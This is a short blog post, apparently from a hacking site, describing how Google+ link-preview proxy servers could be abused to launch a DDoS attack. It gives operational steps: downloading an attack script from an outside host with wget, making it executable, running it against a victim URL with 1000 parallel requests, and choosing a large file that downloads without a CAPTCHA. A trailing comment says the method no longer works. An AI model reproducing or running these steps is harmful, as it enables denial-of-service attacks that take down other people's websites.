Recently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy
How DDoS Attack Using Google+ Servers works?
When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.
Advisory report says; vulnerable pages are “/_/sharebox/linkpreview/“ and “gadgets/proxy?“
So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.
How to use DDoS script to launch a DDoS attack Using Google+ Servers?
Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com
Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh
Make it executable :
chmod u+x ddos.sh
Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000
Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.
e.g http://www.victim-website.com/some-file-url/file-name.mp3
NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation
e.g 1000 is very big number.

This no longer works. In access.log it shows your IP, not google’s any more. I tested this against my own webserver.
